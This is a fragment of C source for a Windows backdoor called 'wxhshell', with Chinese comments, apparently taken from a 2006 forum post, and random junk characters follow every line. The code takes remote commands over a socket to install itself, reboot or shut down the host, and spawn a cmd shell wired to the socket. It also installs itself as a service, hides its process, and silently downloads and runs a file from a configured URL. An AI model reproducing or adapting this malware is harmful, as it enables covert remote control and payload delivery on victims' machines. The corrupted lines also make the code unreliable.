  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2j88<Yh]H  
  else L-WT]&n_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )._;~z!  
  } Oi'5ytsES  
  else { @ $ ;q ;  
>}8j+t&T  
    switch(cmd[0]) { Lv;^My  
  %KhI>O<  
  // 帮助 iDp)FQ$  
  case '?': { D9=KXo^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +T1pJ 89P  
    break; t7Iv?5]N  
  } HZC"nb}r4  
  // 安装 v6bGjVK[  
  case 'i': {  4iazNl#  
    if(Install()) w !-gJmX>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|{d[eX  
    else F3@phu${  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qFCOUl  
    break; xw,IJ/E$1  
    } ?}tFN_X"  
  // 卸载 *=/ { HvJ  
  case 'r': { Cazocq5  
    if(Uninstall()) @sW24J1q+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +NZ_D#u  
    else x;P_1J%Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .\ULbN3Z  
    break; 2ozax)GY  
    } Eex~xiiV  
  // 显示 wxhshell 所在路径 x:NY\._  
  case 'p': { S]e|"n~@  
    char svExeFile[MAX_PATH]; z,[Hli*0  
    strcpy(svExeFile,"\n\r"); ICx#{q@f,  
      strcat(svExeFile,ExeFile); QC OM_$y  
        send(wsh,svExeFile,strlen(svExeFile),0); {tuYs:  
    break; 2 /\r)$ 2i  
    } ArI2wM/v  
  // 重启 ~F|+o}a `  
  case 'b': { y1eW pPJa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3</_c1~  
    if(Boot(REBOOT)) [2!w_Iw'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) <[XtK  
    else { *eTqVG.  
    closesocket(wsh); jjRi*^d9  
    ExitThread(0); Ha0M)0Anv  
    } p J! mw\:  
    break; /!yU !`bY  
    } OhQgF  
  // 关机 %op**@4/t\  
  case 'd': { Q^9_' t}X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / |;RV"  
    if(Boot(SHUTDOWN)) _lJ!R:*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mW(W\'~_~  
    else { zx"s*:O  
    closesocket(wsh); ~zJbK. _  
    ExitThread(0); by1<[$8r  
    } Olt?~}  
    break; urs,34h  
    } .LnGL]/  
  // 获取shell q.^;!f1  
  case 's': { 8?#/o c  
    CmdShell(wsh); rK6l8)o  
    closesocket(wsh); i4Q@K,$  
    ExitThread(0); O'p9u@kc  
    break; Uou1mZz/  
  } E1aHKjLQ  
  // 退出 O_ muD\  
  case 'x': { njB;&N)I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oQ/E}Zk@  
    CloseIt(wsh); ]KKS"0a  
    break;  c(f  
    } T?CdZc.  
  // 离开 F`9xVnK=  
  case 'q': { %ufN8w!p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Af~$TyX  
    closesocket(wsh); t:x\kp  
    WSACleanup(); b;B%q$sntC  
    exit(1); ~~/|dh5  
    break; 9IdA%RM~mH  
        } \$~|ZwV{  
  } $t'MSlF  
  } !7O+ogL  
T@H ^BGs  
  // 提示信息 vFzRg5lH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^qvZXb  
} 7dTkp!'X-  
  } Fbr;{T .  
hn7# L  
  return; ~f&E7su-6+  
} + /4A  
 L^/5ux  
// shell模块句柄 e9Wa<i 8  
int CmdShell(SOCKET sock) )Yh+c=6 ?  
{ gS!:+G%  
STARTUPINFO si; t9GR69v:?  
ZeroMemory(&si,sizeof(si)); ^,lIK+#Elz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ehGLk7@7&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HYD'.uj  
PROCESS_INFORMATION ProcessInfo; htO +z7  
char cmdline[]="cmd"; Y!aSs3c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :%_LpZ  
  return 0; g{]0sn#  
} 8rAg \H3E  
,\W 8b-Z  
// 自身启动模式 -lr vKrt7  
int StartFromService(void) [r\Du|R-*  
{ A_"w^E{P  
typedef struct &)# ihK_  
{ niMsQ  
  DWORD ExitStatus; ;0]aq0_#(  
  DWORD PebBaseAddress; xk9%F?)  
  DWORD AffinityMask; IEL%!RFG  
  DWORD BasePriority; */5d>04  
  ULONG UniqueProcessId; 7~G9'P<  
  ULONG InheritedFromUniqueProcessId; .Bl\Z  
}   PROCESS_BASIC_INFORMATION; XFVE>/H  
{Y(zd[  
PROCNTQSIP NtQueryInformationProcess; yM6pd U]i  
5zK4Fraf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K(e$esLs-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1SQ3-WU s  
h6L&\~pf  
  HANDLE             hProcess; t4."/ .=+  
  PROCESS_BASIC_INFORMATION pbi; 9R!atPz9  
1 fp?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7y'RFD9@{  
  if(NULL == hInst ) return 0; NR$3%0 nC6  
W 8<&gh+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kP=eW_0D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y Vt% 0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OR P\b  
X~b X5b[P  
  if (!NtQueryInformationProcess) return 0; CImWd.W9~  
\Gef \   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /* (Kr'c  
  if(!hProcess) return 0; 5ORo3T%  
yt+L0wzzB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (fH#I tf  
ydEoC$?0  
  CloseHandle(hProcess); xWH.^o,"  
>>4qJ%bL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sU<Wnz\[  
if(hProcess==NULL) return 0; 6$hQ35  
M5 LfRBO  
HMODULE hMod; ~gJwW+  
char procName[255]; [Q~#82hBhY  
unsigned long cbNeeded;  C#.->\  
do hA0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i'<[DjMDlm  
9Z$"K-G  
  CloseHandle(hProcess); F@D`N0Pte  
 \{_q.;}  
if(strstr(procName,"services")) return 1; // 以服务启动 RT4x\&q  
d"1]4.c  
  return 0; // 注册表启动 "`/h#np  
} +q<jAW A  
+uF>2b6'  
// 主模块 -u+vJ6EY  
int StartWxhshell(LPSTR lpCmdLine) Gm&Za,4%4  
{ s2p\]|5  
  SOCKET wsl; l ~"^7H?4e  
BOOL val=TRUE; 3GYw+%Z]  
  int port=0; nAAs{  
  struct sockaddr_in door; {f_={k  
7DogM".}~Q  
  if(wscfg.ws_autoins) Install(); 5+4IN5o]=  
>a<.mU|#  
port=atoi(lpCmdLine); LG9+GszX 2  
VcE:G#]5  
if(port<=0) port=wscfg.ws_port; JJ-( Sl  
UkwP  
  WSADATA data; *}qWj_RT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sPpH*,(  
-a}Dp~j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5+0gR &|j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )th<,Lo3#  
  door.sin_family = AF_INET; y%$AhRk*U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @}u*|P*  
  door.sin_port = htons(port); h%na>G  
tPWLg),  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oN~&_*FE  
closesocket(wsl); T3.&R#1M8-  
return 1; caR<Kb:;*  
} ,$L4dF3  
aH(J,XY  
  if(listen(wsl,2) == INVALID_SOCKET) { *\a4wZ6<3  
closesocket(wsl); F@7jx:tI  
return 1; Vi$~-6n&  
} "m$##X\  
  Wxhshell(wsl); UBU=9a5  
  WSACleanup(); %bn jgy  
h|9L5  
return 0;  M mj;-u  
 #4NaL  
} S"QWB`W2  
!RS}NS  
// 以NT服务方式启动 F@jZ ho  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VR8-&N  
{ WF+99?75  
DWORD   status = 0; ;W )Y OT  
  DWORD   specificError = 0xfffffff; ij`w} V  
MTh<|$   
  serviceStatus.dwServiceType     = SERVICE_WIN32; A0s ZOCky  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~8Fk(E_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =!A_^;NQf  
  serviceStatus.dwWin32ExitCode     = 0; Z9ZPr?C=  
  serviceStatus.dwServiceSpecificExitCode = 0; +4~_Ei[i  
  serviceStatus.dwCheckPoint       = 0; ./Zk`-OBT  
  serviceStatus.dwWaitHint       = 0; Lnl(2xD  
wh`"w7br  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nsC3  
  if (hServiceStatusHandle==0) return; Xf]d. :  
 @tnz]^V  
status = GetLastError(); K:[F%e  
  if (status!=NO_ERROR) epe)a  
{ oUlY?x1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ CL{D:d  
    serviceStatus.dwCheckPoint       = 0; Y;M|D'y+  
    serviceStatus.dwWaitHint       = 0; 1z4OI6$Af  
    serviceStatus.dwWin32ExitCode     = status; 1~_{$5[X?  
    serviceStatus.dwServiceSpecificExitCode = specificError; #$07:UJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B)g[3gQ  
    return; R$<&ie6UQ  
  } ',@3>T**  
`:KY\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ykw*&opz  
  serviceStatus.dwCheckPoint       = 0; >Eto( y"q  
  serviceStatus.dwWaitHint       = 0; K#d`Hyx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;(Or`u]Dr  
} 9ULQrq$?  
S!CC }3zw  
// 处理NT服务事件,比如:启动、停止 WIxy}3_to  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cd_yzpL@}J  
{ :J@ gmY:C  
switch(fdwControl) + .[ <%  
{ ,/I.t DH  
case SERVICE_CONTROL_STOP: ]y '>=a|T  
  serviceStatus.dwWin32ExitCode = 0; ^A/k)x6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g3/W=~r  
  serviceStatus.dwCheckPoint   = 0; 83\pZ1>)_  
  serviceStatus.dwWaitHint     = 0; 3z?> j]  
  { B%b4v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D2 eckLT  
  } hd<c&7|G'  
  return; }@+0/W?\.  
case SERVICE_CONTROL_PAUSE: 4N3R|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !9r$e99R  
  break; $k%2J9O  
case SERVICE_CONTROL_CONTINUE: DV-d(@`K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %s|Ely)  
  break; }<SQ  
case SERVICE_CONTROL_INTERROGATE: E6ElNgL  
  break; K=k"a  
}; "?xHlYj@+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }2.`N%[  
} ]neex|3lG  
Qn.om=KDs@  
// 标准应用程序主函数 PiIpnoM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2r?G6D|  
{ xs bE TP?  
WPMSm<[  
// 获取操作系统版本 )9`qG:b'  
OsIsNt=GetOsVer(); i%]EEVmN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,T$U'&;  
+gtbcF@rx  
  // 从命令行安装 mSF(q78?  
  if(strpbrk(lpCmdLine,"iI")) Install(); E A1?)|}n  
WiR(;m<g  
  // 下载执行文件 d#4**BM  
if(wscfg.ws_downexe) { 0@iY:aF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "(~^w=d:$  
  WinExec(wscfg.ws_filenam,SW_HIDE); cf20.F{<  
} 7' V@+5  
ZDYJ\}=  
if(!OsIsNt) { EgCAsSx(  
// 如果时win9x,隐藏进程并且设置为注册表启动 K`zdc`/  
HideProc(); m@v\(rT.  
StartWxhshell(lpCmdLine); /]Md~=yNp  
} h2]P]@nW;W  
else SsDmoEeB[  
  if(StartFromService()) ~IBP|)WA-  
  // 以服务方式启动 qiBVG H  
  StartServiceCtrlDispatcher(DispatchTable); :>f )g  
else @,7GaK\  
  // 普通方式启动 Ai?*s%8v  
  StartWxhshell(lpCmdLine); ,Uqs1#r  
joAv{Tc  
return 0; f+)L#>Gl?  
}
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只看该作者 1 发表于: 2006-10-10
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